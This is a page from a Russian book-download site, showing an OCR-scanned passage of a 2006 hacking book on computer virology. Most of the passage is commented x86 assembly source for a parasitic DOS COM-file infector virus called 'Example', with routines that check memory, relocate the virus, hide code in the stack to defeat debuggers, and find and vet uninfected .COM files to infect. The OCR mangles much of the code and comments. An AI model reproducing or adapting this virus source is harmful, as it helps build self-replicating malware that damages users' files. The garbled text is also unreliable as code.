Книги
чёрным по белому
Главное меню
Главная О нас Добавить материал Поиск по сайту Карта книг Карта сайта
Книги
Археология Архитектура Бизнес Биология Ветеринария Военная промышленность География Геология Гороскоп Дизайн Журналы Инженерия Информационные ресурсы Искусство История Компьютерная литература Криптология Кулинария Культура Лингвистика Математика Медицина Менеджмент Металлургия Минералогия Музыка Научная литература Нумизматика Образование Охота Педагогика Политика Промышленные производства Психология Путеводители Религия Рыбалка Садоводство Саморазвитие Семиотика Социология Спорт Столярное дело Строительство Техника Туризм Фантастика Физика Футурология Химия Художественная литература Экология Экономика Электроника Энергетика Этика Юриспруденция
Новые книги
Цуканов Б.И. "Время в психике человека" (Медицина)

Суворов С. "Танк Т-64. Первенец танков 2-го поколения " (Военная промышленность)

Нестеров В.А. "Основы проэктирования ракет класса воздух- воздух и авиационных катапульных установок для них" (Военная промышленность)

Фогль Б. "101 вопрос, который задала бы ваша кошка своему ветеринару если бы умела говорить" (Ветеринария)

Яблоков Н.П. "Криминалистика" (Юриспруденция)
Реклама

Азбука хакера 3. Компьютерная вирусология - Собейкис В.Г.

Собейкис В.Г. Азбука хакера 3. Компьютерная вирусология — М.: Майор, 2006. — 512 c.
ISBN 5-98551-013-1
Скачать (прямая ссылка): hakeriazbukahakera2006.djvu
Предыдущая << 1 .. 31 32 33 34 35 36 < 37 > 38 39 40 41 42 43 .. 123 >> Следующая

приемом. Он имеет преимущество: код, скрытый под стеком, действует как
прием антиотладки. Кстати, вы заметили, что перед тем, как вернуться к
подпрограмме перемещения жертвы, Example отключил прерывания с помощью
инструкции cli? Если во время выполнения кода произойдет какое-то
прерывание, стек сотрет код, и все наши усилия пойдут насмарку.
SР.
0FFF8H
01 ООН
0FFF8H
ret гер movsb
193
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
Попробуйте догадаться, что получит злой авир, пытаясь пропустить наш код
через отладчик? Да-да, мои умные читатели, он использует прерывания и
сотрет код вируса. Попытайтесь провести отладку й сами убедитесь в этом.
Исходный код вируса Example
Данный вирус является паразитическим СОМ-инфектором, который вставляет
себя в файле перед жертвой. Вирус относительно безвредный и послушный.
.model small .code
org 0100H EXAMPLE:
call CHECK MEM дотает памяти д ля выполнения?
jc QOTO_HOST_lJCWV ;нет, тогда перейти к выполнению жертвы call JUMPJHIGH
;перейти к следующему 64К блоку памяти call RND_RLE ;найти файл для
инфицирования
jc GOTO_HOST_HIGH ;ни од ин не д оступен, перейти к жертве call
INFECT_RLE ;инфицироватъ найденный файл
GOTO_HOST_HIGH:
mov di,100H ;переместить жертву в нижнюю память
mov si,OFFSET HOST
mov ax,ss ;ss все еще указывает на нижний сегмент
mov ds,ax {настроить ds и es, чтобы указывали туда
mov es.ax
push ах ;втолкнуть в стек адрес возврата
push di ;чтобы выполнить жертву (д ля
дальнейшего использования) mov cx,sp
sub сх,OFFSET HOST ;cx=количеству байтов для перемещения rep movsb
.переместить жертву в офсет 10ОН
retf ;и перейти к ее выполнению
Эта часть будет выполнена только в том случае, если вирус не имеет
достаточно памяти, чтобы инфицировать какой-нибудь файл.
Следующий код необходим для перемещения жертвы вниз в стек и для
последующего прыжка к жертве.
ГЛАВА 3. Сложные СОМ-инфекторы
GOTO_HOST_LOW:
mov ax, 10ОН {выставить в стек адрес возврата 100Н
push ах
mov ax.sp
sub ах,6 ;ах=старт инструкций стека
push ах {адрес для прыжка к стеку
mov ах.ОООСЗН {устанавливаем "ret" в стек
push ах
mov ax,0A4F3H {устанавливаем "гер movsb" в стек
push ах
mov si,OFFSET HOST {установка si и di
mov di, 10ОН {готовимся к перемещению данных
mov cx,sp {установка сх
sub сх,OFFSET HOST
{отключаем прерывания
sp,4 {подстройка стека
{переходим к коду стека
Эта подпрограмма проверяет память и смотрит, достаточно ли места для
правильного выполнения вируса. Если нет, то производится возврат с
установкой флага переноса.
СНЕСК_МЕМ:
mov ah,4AH модифицируем назначенную память
mov Ьх,2000Н ;нам нужно 2*64К
int 21Н ;устанавливаем с, если памяти не хватает
pushf
mov ah,4AH переназначаем всю доступную память mov bx.OFFFFH int 21Н
mov ah,ДАН int 21H popf
ret ;и возвращаемся к оператору вызова
Эта подпрограмма прыгает к 64 К блоку выше места, где начинает
выполняться вирус. Она также устанавливает все сегментные регистры, чтобы
те указывали туда, и перемещает DTA в офсет 80Н этого сегмента.
125
Варфоломей Собейкис. АЗБУКА ХАКЕРА-3
JUMP_HIGH:
mov ax.ds ;ds указывает на текущий сегмент
add ax,1000H
mov es.ax ;es указывает на 64К выше
mov si, 10ОН
mov di.si ;di = si = 100Н
mov cx,OFFSET HOST - 10ОН ;cx = количество байтов
;для перемещения
rep movsb -.копирует вирус в верхний 64К блок
mov ds,ax установка ds на верхний сегмент,
mov ah,1AH перемещаем DTA
mov dx,80H ;в ds:80H (верхний сегмент)
int 21H
pop ax ; возврат из стека
push es ;помещаем верхний сегмент в стек
push ax ;возврата назад
retf ;дальний возврат в верхнюю память!
Следующая подпрограмма ищет незараженный COM-файл и возвращается со
сброшенным флагом с, если таковой найден. Поиск ведется только в текущей
директории.
FIND_FILE:
mov dx,OFFSET COM_MASK ;ищем COM-файлы mov ah,4EH .DOS-функция для поиска
первого файла хог сх.сх ;сх содержит все файловые атрибуты FIND.LOOP:
int 21Н
jc FIND_EXIT ;Выйти, если ни один файл не найден call FILE_OK ;файл
годится для инфекции? jc FIND_NEXT ;нет, искать другой FIND_EXIT: ret
;если есть еще, вернуться с установленным г
FIND_NEXT: mov ah,4FH iDOS-функция для ; поиска следующего файла jmp
FIND_LOOP ;Пытаемся найти другой файл
COM.MASK db '*.СОМ',0 ;Маска поиска СОМ-файла
Следующая подпрограмма решает, годится ли файл для инфекции. Имеется
несколько критериев, которым должна удовлетворять потенциальная жертва:
1. Мы должны иметь возможность записи в файл (успешное открытие в
режиме читать/писать).
126
ГЛАВА 3. Сложные СОМ-инфекторы
2. Файл не должен быть слишком длинным-.
3. Файл не должен быть инфицированным.
4. Файл не должен быть ЕХЕ-файлом.
Если файл удовлетворяет этим критериям, подпрограмма FILEOK возвращается
со сброшенным флагом с и открывает файл с дескриптором в Ьх и
первоначальным размером в dx.
Если файл не удовлетворяет одному из критериев, то FILE OK возвращается с
установленным флагом с.
FILEOK:
mov dx,9EH ;офсет имени файла в DTA
mov ax,3D02H .открыть файл с доступом к чтению/записи
Предыдущая << 1 .. 31 32 33 34 35 36 < 37 > 38 39 40 41 42 43 .. 123 >> Следующая